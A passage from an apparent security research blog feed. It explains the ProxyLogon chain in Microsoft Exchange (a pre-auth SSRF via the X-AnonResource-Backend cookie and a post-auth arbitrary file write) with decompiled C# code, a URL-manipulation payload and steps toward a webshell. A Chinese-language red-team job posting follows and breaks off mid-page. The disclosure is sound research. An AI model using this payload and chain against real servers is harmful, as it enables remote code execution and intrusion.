<p>Exchange will also generate a Kerberos ticket via the HTTP Service-Class of the Backend and put it in the <code class="language-plaintext highlighter-rouge">Authorization</code> header. This header is designed to prevent anonymous users from accessing the Backend directly. With the Kerberos Ticket, the Backend could validate the access from the Frontend.</p> <p><strong>HttpProxy\ProxyRequestHandler.cs</strong></p> <div class="language-cs highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">if</span> <span class="p">(</span><span class="k">this</span><span class="p">.</span><span class="n">ProxyKerberosAuthentication</span><span class="p">)</span> <span class="p">{</span> <span class="n">serverRequest</span><span class="p">.</span><span class="n">ConnectionGroupName</span> <span class="p">=</span> <span class="k">this</span><span class="p">.</span><span class="n">ClientRequest</span><span class="p">.</span><span class="n">UserHostAddress</span> <span class="p">+</span> <span class="s">":"</span> <span class="p">+</span> <span class="n">GccUtils</span><span class="p">.</span><span class="nf">GetClientPort</span><span class="p">(</span><span class="n">SharedHttpContextWrapper</span><span class="p">.</span><span class="nf">GetWrapper</span><span class="p">(</span><span class="k">this</span><span class="p">.</span><span class="n">HttpContext</span><span class="p">));</span> <span class="p">}</span> <span class="k">else</span> <span class="k">if</span> <span class="p">(</span><span class="k">this</span><span class="p">.</span><span class="n">AuthBehavior</span><span class="p">.</span><span class="n">AuthState</span> <span class="p">==</span> <span class="n">AuthState</span><span class="p">.</span><span class="n">BackEndFullAuth</span> <span class="p">||</span> <span class="k">this</span><span class="p">.</span> <span class="nf">ShouldBackendRequestBeAnonymous</span><span class="p">()</span> <span class="p">||</span> <span class="p">(</span><span class="n">HttpProxySettings</span><span class="p">.</span><span class="n">TestBackEndSupportEnabled</span><span class="p">.</span><span class="n">Value</span> <span class="p">&amp;&amp;</span> <span class="p">!</span><span class="kt">string</span><span class="p">.</span><span class="nf">IsNullOrEmpty</span><span class="p">(</span><span class="k">this</span><span class="p">.</span><span class="n">ClientRequest</span><span class="p">.</span><span class="n">Headers</span><span class="p">[</span><span class="s">"TestBackEndUrl"</span><span class="p">])))</span> <span class="p">{</span> <span class="n">serverRequest</span><span class="p">.</span><span class="n">ConnectionGroupName</span> <span class="p">=</span> <span class="s">"Unauthenticated"</span><span class="p">;</span> <span class="p">}</span> <span class="k">else</span> <span class="p">{</span> <span class="n">serverRequest</span><span class="p">.</span><span class="n">Headers</span><span class="p">[</span><span class="s">"Authorization"</span><span class="p">]</span> <span class="p">=</span> <span class="n">KerberosUtilities</span><span class="p">.</span><span class="nf">GenerateKerberosAuthHeader</span><span class="p">(</span> <span class="n">serverRequest</span><span class="p">.</span><span class="n">Address</span><span class="p">.</span><span class="n">Host</span><span class="p">,</span> <span class="k">this</span><span class="p">.</span><span class="n">TraceContext</span><span class="p">,</span> <span class="k">ref</span> <span class="k">this</span><span class="p">.</span><span class="n">authenticationContext</span><span class="p">,</span> <span class="k">ref</span> <span class="k">this</span><span class="p">.</span><span class="n">kerberosChallenge</span><span class="p">);</span> <span class="p">}</span> </code></pre></div></div> <p><strong>HttpProxy\KerberosUtilities.cs</strong></p> <div class="language-cs highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">internal</span> <span class="k">static</span> <span class="kt">string</span> <span class="nf">GenerateKerberosAuthHeader</span><span class="p">(</span><span class="kt">string</span> <span class="n">host</span><span class="p">,</span> <span class="kt">int</span> <span class="n">traceContext</span><span class="p">,</span> <span class="k">ref</span> <span class="n">AuthenticationContext</span> <span class="n">authenticationContext</span><span class="p">,</span> <span class="k">ref</span> <span class="kt">string</span> <span class="n">kerberosChallenge</span><span class="p">)</span> <span class="p">{</span> <span class="kt">byte</span><span class="p">[]</span> <span class="n">array</span> <span class="p">=</span> <span class="k">null</span><span class="p">;</span> <span class="kt">byte</span><span class="p">[]</span> <span class="n">bytes</span> <span class="p">=</span> <span class="k">null</span><span class="p">;</span> <span class="c1">// ...</span> <span class="n">authenticationContext</span> <span class="p">=</span> <span class="k">new</span> <span class="nf">AuthenticationContext</span><span class="p">();</span> <span class="kt">string</span> <span class="n">text</span> <span class="p">=</span> <span class="s">"HTTP/"</span> <span class="p">+</span> <span class="n">host</span><span class="p">;</span> <span class="n">authenticationContext</span><span class="p">.</span><span class="nf">InitializeForOutboundNegotiate</span><span class="p">(</span><span class="n">AuthenticationMechanism</span><span class="p">.</span><span class="n">Kerberos</span><span class="p">,</span> <span class="n">text</span><span class="p">,</span> <span class="k">null</span><span class="p">,</span> <span class="k">null</span><span class="p">);</span> <span class="n">SecurityStatus</span> <span class="n">securityStatus</span> <span class="p">=</span> <span class="n">authenticationContext</span><span class="p">.</span><span class="nf">NegotiateSecurityContext</span><span class="p">(</span><span class="n">inputBuffer</span><span class="p">,</span> <span class="k">out</span> <span class="n">bytes</span><span class="p">);</span> <span class="c1">// ...</span> <span class="kt">string</span> <span class="n">@string</span> <span class="p">=</span> <span class="n">Encoding</span><span class="p">.</span><span class="n">ASCII</span><span class="p">.</span><span class="nf">GetString</span><span class="p">(</span><span class="n">bytes</span><span class="p">);</span> <span class="k">return</span> <span class="s">"Negotiate "</span> <span class="p">+</span> <span class="n">@string</span><span class="p">;</span> <span class="p">}</span> </code></pre></div></div> <p>Therefore, a Client request proxied to the Backend will be added with several HTTP Headers for internal use. The two most essential Headers are <code class="language-plaintext highlighter-rouge">X-CommonAccessToken</code>, which indicates the mail users’ log in identity, and Kerberos Ticket, which represents legal access from the Frontend.</p> <p><img src="/assets/img/blog/20210806/1/9.png" alt="" /></p> <h3 id="frontend-response-section">Frontend Response Section</h3> <p>The last is the section of Response. It receives the response from the Backend and decides which headers or cookies are allowed to be sent back to the Frontend.</p> <h2 id="backend-rehydration-module">Backend Rehydration Module</h2> <p>Now let’s move on and check how the Backend processes the request from the Frontend. The Backend first uses the method <code class="language-plaintext highlighter-rouge">IsAuthenticated</code> to check whether the incoming request is authenticated. Then the Backend will verify whether the request is equipped with an extended right called <code class="language-plaintext highlighter-rouge">ms-Exch-EPI-Token-Serialization</code>. With the default setting, only Exchange Machine Account would have such authorization. This is also why the Kerberos Ticket generated by the Frontend could pass the checkpoint but you can’t access the Backend directly with a low authorized account.</p> <p>After passing the check, Exchange will restore the login identity used in the Frontend, through deserializing the header <code class="language-plaintext highlighter-rouge">X-CommonAccessToken</code> back to the original Access Token, and then put it in the <code class="language-plaintext highlighter-rouge">httpContext</code> object to progress to the business logic in the Backend.</p> <p><strong>Authentication\BackendRehydrationModule.cs</strong></p> <div class="language-cs highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">private</span> <span class="k">void</span> <span class="nf">OnAuthenticateRequest</span><span class="p">(</span><span class="kt">object</span> <span class="n">source</span><span class="p">,</span> <span class="n">EventArgs</span> <span class="n">args</span><span class="p">)</span> <span class="p">{</span> <span class="k">if</span> <span class="p">(</span><span class="n">httpContext</span><span class="p">.</span><span class="n">Request</span><span class="p">.</span><span class="n">IsAuthenticated</span><span class="p">)</span> <span class="p">{</span> <span class="k">this</span><span class="p">.</span><span class="nf">ProcessRequest</span><span class="p">(</span><span class="n">httpContext</span><span class="p">);</span> <span class="p">}</span> <span class="p">}</span> <span class="k">private</span> <span class="k">void</span> <span class="nf">ProcessRequest</span><span class="p">(</span><span class="n">HttpContext</span> <span class="n">httpContext</span><span class="p">)</span> <span class="p">{</span> <span class="n">CommonAccessToken</span> <span class="n">token</span><span class="p">;</span> <span class="k">if</span> <span class="p">(</span><span class="k">this</span><span class="p">.</span><span class="nf">TryGetCommonAccessToken</span><span class="p">(</span><span class="n">httpContext</span><span class="p">,</span> <span class="k">out</span> <span class="n">token</span><span class="p">))</span> <span class="p">{</span> <span class="c1">// ...</span> <span class="p">}</span> <span class="p">}</span> <span class="k">private</span> <span class="kt">bool</span> <span class="nf">TryGetCommonAccessToken</span><span class="p">(</span><span class="n">HttpContext</span> <span class="n">httpContext</span><span class="p">,</span> <span class="k">out</span> <span class="n">CommonAccessToken</span> <span class="n">token</span><span class="p">)</span> <span class="p">{</span> <span class="kt">string</span> <span class="n">text</span> <span class="p">=</span> <span class="n">httpContext</span><span class="p">.</span><span class="n">Request</span><span class="p">.</span><span class="n">Headers</span><span class="p">[</span><span class="s">"X-CommonAccessToken"</span><span class="p">];</span> <span class="k">if</span> <span class="p">(</span><span class="kt">string</span><span class="p">.</span><span class="nf">IsNullOrEmpty</span><span class="p">(</span><span class="n">text</span><span class="p">))</span> <span class="p">{</span> <span class="k">return</span> <span class="k">false</span><span class="p">;</span> <span class="p">}</span> <span class="kt">bool</span> <span class="n">flag</span><span class="p">;</span> <span class="k">try</span> <span class="p">{</span> <span class="n">flag</span> <span class="p">=</span> <span class="k">this</span><span class="p">.</span><span class="nf">IsTokenSerializationAllowed</span><span class="p">(</span><span class="n">httpContext</span><span class="p">.</span><span class="n">User</span><span class="p">.</span><span class="n">Identity</span> <span class="k">as</span> <span class="n">WindowsIdentity</span><span class="p">);</span> <span class="p">}</span> <span class="k">finally</span> <span class="p">{</span> <span class="n">httpContext</span><span class="p">.</span><span class="n">Items</span><span class="p">[</span><span class="s">"BEValidateCATRightsLatency"</span><span class="p">]</span> <span class="p">=</span> <span class="n">stopwatch</span><span class="p">.</span><span class="n">ElapsedMilliseconds</span> <span class="p">-</span> <span class="n">elapsedMilliseconds</span><span class="p">;</span> <span class="p">}</span> <span class="n">token</span> <span class="p">=</span> <span class="n">CommonAccessToken</span><span class="p">.</span><span class="nf">Deserialize</span><span class="p">(</span><span class="n">text</span><span class="p">);</span> <span class="n">httpContext</span><span class="p">.</span><span class="n">Items</span><span class="p">[</span><span class="s">"Item-CommonAccessToken"</span><span class="p">]</span> <span class="p">=</span> <span class="n">token</span><span class="p">;</span> <span class="c1">//...</span> <span class="p">}</span> <span class="k">private</span> <span class="kt">bool</span> <span class="nf">IsTokenSerializationAllowed</span><span class="p">(</span><span class="n">WindowsIdentity</span> <span class="n">windowsIdentity</span><span class="p">)</span> <span class="p">{</span> <span class="n">flag2</span> <span class="p">=</span> <span class="n">LocalServer</span><span class="p">.</span><span class="nf">AllowsTokenSerializationBy</span><span class="p">(</span><span class="n">clientSecurityContext</span><span class="p">);</span> <span class="k">return</span> <span class="n">flag2</span><span class="p">;</span> <span class="p">}</span> <span class="k">private</span> <span class="k">static</span> <span class="kt">bool</span> <span class="nf">AllowsTokenSerializationBy</span><span class="p">(</span><span class="n">ClientSecurityContext</span> <span class="n">clientContext</span><span class="p">)</span> <span class="p">{</span> <span class="k">return</span> <span class="n">LocalServer</span><span class="p">.</span><span class="nf">HasExtendedRightOnServer</span><span class="p">(</span><span class="n">clientContext</span><span class="p">,</span> <span class="n">WellKnownGuid</span><span class="p">.</span><span class="n">TokenSerializationRightGuid</span><span class="p">);</span> <span class="c1">// ms-Exch-EPI-Token-Serialization</span> <span class="p">}</span> </code></pre></div></div> <h1 id="the-attack-surface">The attack surface</h1> <p>After a brief introduction to the architecture of CAS, we now realize that CAS is just a well-written HTTP Proxy (or Client), and we know that implementing Proxy isn’t easy. So I was wondering:</p> <blockquote> <p>Could I use a single HTTP request to access different contexts in Frontend and Backend respectively to cause some confusion?</p> </blockquote> <p>If we could do that, maaaaaybe I could bypass some Frontend restrictions to access arbitrary Backends and abuse some internal API. Or, we can confuse the context to leverage the inconsistency of the definition of dangerous HTTP headers between the Frontend and Backend to do further interesting attacks.</p> <p>With these thoughts in mind, let’s start hunting!</p> <h1 id="the-proxylogon">The ProxyLogon</h1> <p>The first exploit is the ProxyLogon. As introduced before, this may be the most severe vulnerability in the Exchange history ever. ProxyLogon is chained with 2 bugs:</p> <ul> <li><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26855">CVE-2021-26855</a> - Pre-auth SSRF leads to Authentication Bypass</li> <li><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-27065">CVE-2021-27065</a> - Post-auth Arbitrary-File-Write leads to RCE</li> </ul> <h2 id="cve-2021-26855---pre-auth-ssrf">CVE-2021-26855 - Pre-auth SSRF</h2> <p>There are more than 20 handlers corresponding to different application paths in the Frontend. While reviewing the implementations, we found the method <code class="language-plaintext highlighter-rouge">GetTargetBackEndServerUrl</code>, which is responsible for calculating the Backend URL in the static resource handler, assigns the Backend target by cookies directly.</p> <p>Now you figure out how simple this vulnerability is after learning the architecture!</p> <p><strong>HttpProxy\ProxyRequestHandler.cs</strong></p> <div class="language-cs highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">protected</span> <span class="k">virtual</span> <span class="n">Uri</span> <span class="nf">GetTargetBackEndServerUrl</span><span class="p">()</span> <span class="p">{</span> <span class="k">this</span><span class="p">.</span><span class="nf">LogElapsedTime</span><span class="p">(</span><span class="s">"E_TargetBEUrl"</span><span class="p">);</span> <span class="n">Uri</span> <span class="n">result</span><span class="p">;</span> <span class="k">try</span> <span class="p">{</span> <span class="n">UrlAnchorMailbox</span> <span class="n">urlAnchorMailbox</span> <span class="p">=</span> <span class="k">this</span><span class="p">.</span><span class="n">AnchoredRoutingTarget</span><span class="p">.</span><span class="n">AnchorMailbox</span> <span class="k">as</span> <span class="n">UrlAnchorMailbox</span><span class="p">;</span> <span class="k">if</span> <span class="p">(</span><span class="n">urlAnchorMailbox</span> <span class="p">!=</span> <span class="k">null</span><span class="p">)</span> <span class="p">{</span> <span class="n">result</span> <span class="p">=</span> <span class="n">urlAnchorMailbox</span><span class="p">.</span><span class="n">Url</span><span class="p">;</span> <span class="p">}</span> <span class="k">else</span> <span class="p">{</span> <span class="n">UriBuilder</span> <span class="n">clientUrlForProxy</span> <span class="p">=</span> <span class="k">this</span><span class="p">.</span><span class="nf">GetClientUrlForProxy</span><span class="p">();</span> <span class="n">clientUrlForProxy</span><span class="p">.</span><span class="n">Scheme</span> <span class="p">=</span> <span class="n">Uri</span><span class="p">.</span><span class="n">UriSchemeHttps</span><span class="p">;</span> <span class="n">clientUrlForProxy</span><span class="p">.</span><span class="n">Host</span> <span class="p">=</span> <span class="k">this</span><span class="p">.</span><span class="n">AnchoredRoutingTarget</span><span class="p">.</span><span class="n">BackEndServer</span><span class="p">.</span><span class="n">Fqdn</span><span class="p">;</span> <span class="n">clientUrlForProxy</span><span class="p">.</span><span class="n">Port</span> <span class="p">=</span> <span class="m">444</span><span class="p">;</span> <span class="k">if</span> <span class="p">(</span><span class="k">this</span><span class="p">.</span><span class="n">AnchoredRoutingTarget</span><span class="p">.</span><span class="n">BackEndServer</span><span class="p">.</span><span class="n">Version</span> <span class="p">&lt;</span> <span class="n">Server</span><span class="p">.</span><span class="n">E15MinVersion</span><span class="p">)</span> <span class="p">{</span> <span class="k">this</span><span class="p">.</span><span class="n">ProxyToDownLevel</span> <span class="p">=</span> <span class="k">true</span><span class="p">;</span> <span class="n">RequestDetailsLoggerBase</span><span class="p">&lt;</span><span class="n">RequestDetailsLogger</span><span class="p">&gt;.</span><span class="nf">SafeAppendGenericInfo</span><span class="p">(</span><span class="k">this</span><span class="p">.</span><span class="n">Logger</span><span class="p">,</span> <span class="s">"ProxyToDownLevel"</span><span class="p">,</span> <span class="k">true</span><span class="p">);</span> <span class="n">clientUrlForProxy</span><span class="p">.</span><span class="n">Port</span> <span class="p">=</span> <span class="m">443</span><span class="p">;</span> <span class="p">}</span> <span class="n">result</span> <span class="p">=</span> <span class="n">clientUrlForProxy</span><span class="p">.</span><span class="n">Uri</span><span class="p">;</span> <span class="p">}</span> <span class="p">}</span> <span class="k">finally</span> <span class="p">{</span> <span class="k">this</span><span class="p">.</span><span class="nf">LogElapsedTime</span><span class="p">(</span><span class="s">"L_TargetBEUrl"</span><span class="p">);</span> <span class="p">}</span> <span class="k">return</span> <span class="n">result</span><span class="p">;</span> <span class="p">}</span> </code></pre></div></div> <p>From the code snippet, you can see the property <code class="language-plaintext highlighter-rouge">BackEndServer.Fqdn</code> of <code class="language-plaintext highlighter-rouge">AnchoredRoutingTarget</code> is assigned from the cookie directly.</p> <p><strong>HttpProxy\OwaResourceProxyRequestHandler.cs</strong></p> <div class="language-cs highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">protected</span> <span class="k">override</span> <span class="n">AnchorMailbox</span> <span class="nf">ResolveAnchorMailbox</span><span class="p">()</span> <span class="p">{</span> <span class="n">HttpCookie</span> <span class="n">httpCookie</span> <span class="p">=</span> <span class="k">base</span><span class="p">.</span><span class="n">ClientRequest</span><span class="p">.</span><span class="n">Cookies</span><span class="p">[</span><span class="s">"X-AnonResource-Backend"</span><span class="p">];</span> <span class="k">if</span> <span class="p">(</span><span class="n">httpCookie</span> <span class="p">!=</span> <span class="k">null</span><span class="p">)</span> <span class="p">{</span> <span class="k">this</span><span class="p">.</span><span class="n">savedBackendServer</span> <span class="p">=</span> <span class="n">httpCookie</span><span class="p">.</span><span class="n">Value</span><span class="p">;</span> <span class="p">}</span> <span class="k">if</span> <span class="p">(!</span><span class="kt">string</span><span class="p">.</span><span class="nf">IsNullOrEmpty</span><span class="p">(</span><span class="k">this</span><span class="p">.</span><span class="n">savedBackendServer</span><span class="p">))</span> <span class="p">{</span> <span class="k">base</span><span class="p">.</span><span class="n">Logger</span><span class="p">.</span><span class="nf">Set</span><span class="p">(</span><span class="m">3</span><span class="p">,</span> <span class="s">"X-AnonResource-Backend-Cookie"</span><span class="p">);</span> <span class="k">if</span> <span class="p">(</span><span class="n">ExTraceGlobals</span><span class="p">.</span><span class="n">VerboseTracer</span><span class="p">.</span><span class="nf">IsTraceEnabled</span><span class="p">(</span><span class="m">1</span><span class="p">))</span> <span class="p">{</span> <span class="n">ExTraceGlobals</span><span class="p">.</span><span class="n">VerboseTracer</span><span class="p">.</span><span class="n">TraceDebug</span><span class="p">&lt;</span><span class="n">HttpCookie</span><span class="p">,</span> <span class="kt">int</span><span class="p">&gt;((</span><span class="kt">long</span><span class="p">)</span><span class="k">this</span><span class="p">.</span><span class="nf">GetHashCode</span><span class="p">(),</span> <span class="s">"[OwaResourceProxyRequestHandler::ResolveAnchorMailbox]: AnonResourceBackend cookie used: {0}; context {1}."</span><span class="p">,</span> <span class="n">httpCookie</span><span class="p">,</span> <span class="k">base</span><span class="p">.</span><span class="n">TraceContext</span><span class="p">);</span> <span class="p">}</span> <span class="k">return</span> <span class="k">new</span> <span class="nf">ServerInfoAnchorMailbox</span><span class="p">(</span><span class="n">BackEndServer</span><span class="p">.</span><span class="nf">FromString</span><span class="p">(</span><span class="k">this</span><span class="p">.</span><span class="n">savedBackendServer</span><span class="p">),</span> <span class="k">this</span><span class="p">);</span> <span class="p">}</span> <span class="k">return</span> <span class="k">new</span> <span class="nf">AnonymousAnchorMailbox</span><span class="p">(</span><span class="k">this</span><span class="p">);</span> <span class="p">}</span> </code></pre></div></div> <p>Though we can only control the <code class="language-plaintext highlighter-rouge">Host</code> part of the URL, but hang on, isn’t <a href="https://www.blackhat.com/docs/us-17/thursday/us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf">manipulating a URL Parser</a> exactly what I am good at? Exchange builds the Backend URL by built-in <code class="language-plaintext highlighter-rouge">UriBuilder</code>. However, since C# didn’t verify the <code class="language-plaintext highlighter-rouge">Host</code>, so we can enclose the whole URL with some special characters to access arbitrary servers and ports.</p> <blockquote> <p>https://[foo]@example.com:443/path#]:444/owa/auth/x.js</p> </blockquote> <p><img src="/assets/img/blog/20210806/1/10.png" alt="" /></p> <p>So far we have a super SSRF that can control almost all the HTTP requests and get all the replies. The most impressive thing is that the Frontend of Exchange will generate a Kerberos Ticket for us, which means even when we are attacking a protected and domain-joined HTTP service, we can still hack with the authentication of Exchange Machine Account.</p> <p>So, what is the root cause of this arbitrary Backend assignment? As mentioned, the Exchange Server changes its architecture while releasing new versions. It might have different functions in different versions even with the same component under the same name. Microsoft has put great effort into ensuring the architectural capability between new and old versions. This cookie is a quick solution and the design debt of Exchange making the Frontend in the new architecture could identify where the old Backend is.</p> <h2 id="cve-2021-27065---post-auth-arbitrary-file-write">CVE-2021-27065 - Post-auth Arbitrary-File-Write</h2> <p>Thanks to the super SSRF allowing us to access the Backend without restriction. The next is to find a RCE bug to chain together. Here we leverage a Backend internal API <code class="language-plaintext highlighter-rouge">/proxyLogon.ecp</code> to become the admin. The API is also the reason why we called it ProxyLogon.</p> <p>Because we leverage the Frontend handler of static resources to access the ECExchange Control Panel (ECP) Backend, the header <code class="language-plaintext highlighter-rouge">msExchLogonMailbox</code>, which is a special HTTP header in the ECP Backend, will not be blocked by the Frontend. By leveraging this minor inconsistency, we can specify ourselves as the SYSTEM user and generate a valid ECP session with the internal API.</p> <p><img src="/assets/img/blog/20210806/1/11.png" alt="" /></p> <p>With the inconsistency between the Frontend and Backend, we can access all the functions on ECP by Header forgery and internal Backend API abuse. Next, we have to find an RCE bug on the ECP interface to chain them together. The ECP wraps the Exchange PowerShell commands as an abstract interface by <code class="language-plaintext highlighter-rouge">/ecp/DDI/DDIService.svc</code>. The <code class="language-plaintext highlighter-rouge">DDIService</code> defines several PowerShell executing pipelines by XAML so that it can be accessed by Web. While verifying the DDI implementation, we found the tag of WriteFileActivity did not check the file path properly and led to an arbitrary-file-write.</p> <p><strong>DDIService\WriteFileActivity.cs</strong></p> <div class="language-cs highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">public</span> <span class="k">override</span> <span class="n">RunResult</span> <span class="nf">Run</span><span class="p">(</span><span class="n">DataRow</span> <span class="n">input</span><span class="p">,</span> <span class="n">DataTable</span> <span class="n">dataTable</span><span class="p">,</span> <span class="n">DataObjectStore</span> <span class="n">store</span><span class="p">,</span> <span class="n">Type</span> <span class="n">codeBehind</span><span class="p">,</span> <span class="n">Workflow</span><span class="p">.</span><span class="n">UpdateTableDelegate</span> <span class="n">updateTableDelegate</span><span class="p">)</span> <span class="p">{</span> <span class="n">DataRow</span> <span class="n">dataRow</span> <span class="p">=</span> <span class="n">dataTable</span><span class="p">.</span><span class="n">Rows</span><span class="p">[</span><span class="m">0</span><span class="p">];</span> <span class="kt">string</span> <span class="k">value</span> <span class="p">=</span> <span class="p">(</span><span class="kt">string</span><span class="p">)</span><span class="n">input</span><span class="p">[</span><span class="k">this</span><span class="p">.</span><span class="n">InputVariable</span><span class="p">];</span> <span class="kt">string</span> <span class="n">path</span> <span class="p">=</span> <span class="p">(</span><span class="kt">string</span><span class="p">)</span><span class="n">input</span><span class="p">[</span><span class="k">this</span><span class="p">.</span><span class="n">OutputFileNameVariable</span><span class="p">];</span> <span class="n">RunResult</span> <span class="n">runResult</span> <span class="p">=</span> <span class="k">new</span> <span class="nf">RunResult</span><span class="p">();</span> <span class="k">try</span> <span class="p">{</span> <span class="n">runResult</span><span class="p">.</span><span class="n">ErrorOccur</span> <span class="p">=</span> <span class="k">true</span><span class="p">;</span> <span class="k">using</span> <span class="p">(</span><span class="n">StreamWriter</span> <span class="n">streamWriter</span> <span class="p">=</span> <span class="k">new</span> <span class="nf">StreamWriter</span><span class="p">(</span><span class="n">File</span><span class="p">.</span><span class="nf">Open</span><span class="p">(</span><span class="n">path</span><span class="p">,</span> <span class="n">FileMode</span><span class="p">.</span><span class="n">CreateNew</span><span class="p">)))</span> <span class="p">{</span> <span class="n">streamWriter</span><span class="p">.</span><span class="nf">WriteLine</span><span class="p">(</span><span class="k">value</span><span class="p">);</span> <span class="p">}</span> <span class="n">runResult</span><span class="p">.</span><span class="n">ErrorOccur</span> <span class="p">=</span> <span class="k">false</span><span class="p">;</span> <span class="p">}</span> <span class="c1">// ...</span> <span class="p">}</span> </code></pre></div></div> <p>There are several paths to trigger the vulnerability of arbitrary-file-write. Here we use <code class="language-plaintext highlighter-rouge">ResetOABVirtualDirectory.xaml</code> as an example and write the result of <code class="language-plaintext highlighter-rouge">Set-OABVirtualDirectory</code> to the webroot to be our Webshell.</p> <p><img src="/assets/img/blog/20210806/1/12.png" alt="" /></p> <p>Now we have a working pre-auth RCE exploit chain. An unauthenticated attacker can execute arbitrary commands on Microsoft Exchange Server through an exposed 443 port. Here is an <a href="https://www.youtube.com/watch?v=SvjGMo9aMwE">demonstration video</a>:</p> <div style="text-align: center;"><iframe width="560" height="315" src="https://www.youtube.com/embed/SvjGMo9aMwE" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen=""></iframe></div> <h1 id="epilogue">Epilogue</h1> <p>As the first blog of this series, ProxyLogon perfectly shows how severe this attack surface could be. We will have more examples to come. Stay tuned!</p> https://devco.re/blog/2021/08/06/a-new-attack-surface-on-MS-exchange-part-1-ProxyLogon/ https://devco.re/blog/2021/08/06/a-new-attack-surface-on-MS-exchange-part-1-ProxyLogon Fri, 06 Aug 2021 00:00:00 +0800 [已結束] DEVCORE 徵求紅隊演練工程師 <p>戴夫寇爾已成立近九年,過去我們不斷地鑽研進階攻擊技巧,為許多客戶提供高品質的滲透測試服務,也成為客戶最信賴的資安伙伴之一。在 2017 年我們更成為第一個在台灣推出紅隊演練服務的本土廠商,透過無所不用其極的駭客思維,陸續為電子商務、政府部門、金融業者執行最真實且全面的攻擊演練,同時也累積了豐富的經驗與案例,成為台灣紅隊演練實力最深厚的服務供應商。</p> <p>隨著公司規模擴大,我們首度公開招募紅隊演練人才,希望能夠找到一至兩位 Support 紅隊演練工程師,擴大我們的後勤能量,鞏固戴夫寇爾的團隊作戰能力,讓我們持續為企業提供最優異的資安服務。</p> <p>我們非常渴望您的加入,若您有意成為戴夫寇爾的一員,可參考下列職缺細節:</p> <!-- more --> <h3 id="工作內容">工作內容</h3> <p>在滲透測試、紅隊演練專案中擔任重要的後勤工作。這會是最清楚全局戰況的角色,需要觀察、記錄整體戰況,細心且耐心地整理繁雜的戰局資訊,並且樂於與作戰夥伴溝通現有戰況。檢測結束後需要將完整的戰況資訊和檢測過程中發現的弱點彙整成報告和簡報,讓客戶清楚理解弱點技術細節與成因,且可依據技術細節重現已發現的弱點,最後協助檢測客戶的修補狀況。</p> <ul> <li>協助作戰 40% <ul> <li>整合作戰資料,關聯戰場資訊協助隊友找到突破點</li> <li>追蹤掌握戰況進度</li> <li>專案中與客戶協調雙方需求</li> </ul> </li> <li>會議 10% <ul> <li>參與專案相關啟動、結案會議</li> <li>成果簡報</li> </ul> </li> <li>撰寫與製作報告文件 40% <ul> <li>製作報告書、簡報、日誌</li> </ul> </li> <li>檢測 (初測、複測) 10% <ul> <li>檢測弱點修補</li> <li>複測時程安排與協調</li> </ul> </li> </ul> <h3 id="工作時間">工作時間</h3> <p>10:00 - 18:00 (中間休息 1 小時 13:00 - 14:00)</p> <h3 id="工作地點">工作地點</h3> <p>台北市中山區復興北路 168 號 10 樓 近期會搬遷至台北田徑場附近(捷運台北小巨蛋站)</p> <h3 id="工作條件要求">工作條件要求</h3> <ul> <li>熟悉 OWASP Web Top 10。</li> <li>熟悉 Microsoft Word 或 Mac Pages。</li> <li>熟悉 Microsoft PowerPoint 或 Mac Keynote。</li> <li>熟悉 BurpSuite 或其他 HTTP 封包修改攔截工具。</li> <li>具有程式 Debug 能力,能重現並收斂問題。</li> <li>熟悉網頁程式語言(如 PHP、ASPX、JSP),曾建立自己或別人常用的網頁服務。</li> <li>熟悉 Scripting 語言(如 ShellScript、Python、Ruby),使用腳本輔以工作,亦能理解專案所用的相關腳本。</li> <li>熟悉 Command Line 操作輔以工作,包含執行 Unix-like 和 Windows 的系統指令、工具等,亦能理解專案所用的相關指令。</li> <li>熟悉 curl、netcat、nmap、Dirb 等安全測試相關工具。</li> <li>有信心到職一年內拿到 Offensive Security Certified Professional (OSCP) 證照或擁有等值能力。</li> </ul> <h3 id="人格特質偏好">人格特質偏好</h3> <ul> <li>優秀的文字組織能力與邏輯思考,懂得透過淺顯易懂且條理清晰的方式傳達內容給客戶或內部團隊。</li> <li>擁有強大的學習能力,對於任何不懂的技術細節都能主動詢問同事,想辦法理解並內化成自己的知識。</li> <li>懂得溝通傾聽,能同理他人,找出彼此共識。</li> <li>細心嚴謹,能耐心的處理繁瑣的庶務工作。</li> <li>主動積極,看到我們沒發現的細節,超越我們所期望的基準。</li> <li>良好的時間管理能力,依據任務的優先順序,有效率的完成每項交辦。</li> <li>在各種工作細節中,找到最佳化流程的方式,幫助團隊更有效率的運作。</li> <li>勇於接受挑戰且具備解決問題的能力,努力克服未知的難題。</li> </ul> <h3 id="加分條件">加分條件</h3> <ul> <li>曾經有撰寫過相關紅隊演練、滲透測試中、英文報告等經驗。</li> <li>已考過 Offensive Security Certified Professional (OSCP) 證照。</li> <li>曾經挖掘常見漏洞(如 XSS、SQL Injection、Broken Access Control)。</li> <li>曾經寫過相關 CTF、Wargame 或弱點回報等類型的 Writeup。</li> <li>有撰寫技術類型等文章部落格經驗。</li> <li>具有專案管理規劃的能力。</li> <li>中文盲打具備 TQC 專業級水準。</li> </ul> <h3 id="工作環境">工作環境</h3> <p>新辦公室裝潢中,可參考之前的<a href="https://devco.re/blog/2019/07/23/devcore-201907-recruit/">徵才文</a>,未來辦公室會優於過去。</p> <h3 id="公司福利">公司福利</h3> <p>我們注重公司每位同仁的身心健康,請參考以下福利制度:</p> <ul> <li>休假福利 <ul> <li>到職即可預支當年度特休</li> <li>每年五天全薪病假</li> </ul> </li> <li>獎金福利 <ul> <li>三節禮金(春節、端午節、中秋節)</li> <li>生日禮金</li> <li>婚喪補助</li> </ul> </li> <li>休閒福利 <ul> <li>員工旅遊</li> <li>舒壓按摩</li> <li>Team Building</li> </ul> </li> <li>美食福利 <ul> <li>零食飲料</li> <li>員工聚餐</li> </ul> </li> <li>健康福利 <ul> <li>員工健康檢查</li> <li>運動中心健身券</li> </ul> </li> <li>進修福利 <ul> <li>內部教育訓練</li> <li>外部進修課程</li> </ul> </li> <li>其他 <ul> <li>專業的公司團隊</li> <li>扁平的內部組織</li> <li>順暢的溝通氛圍</li> </ul> </li> </ul> <h3 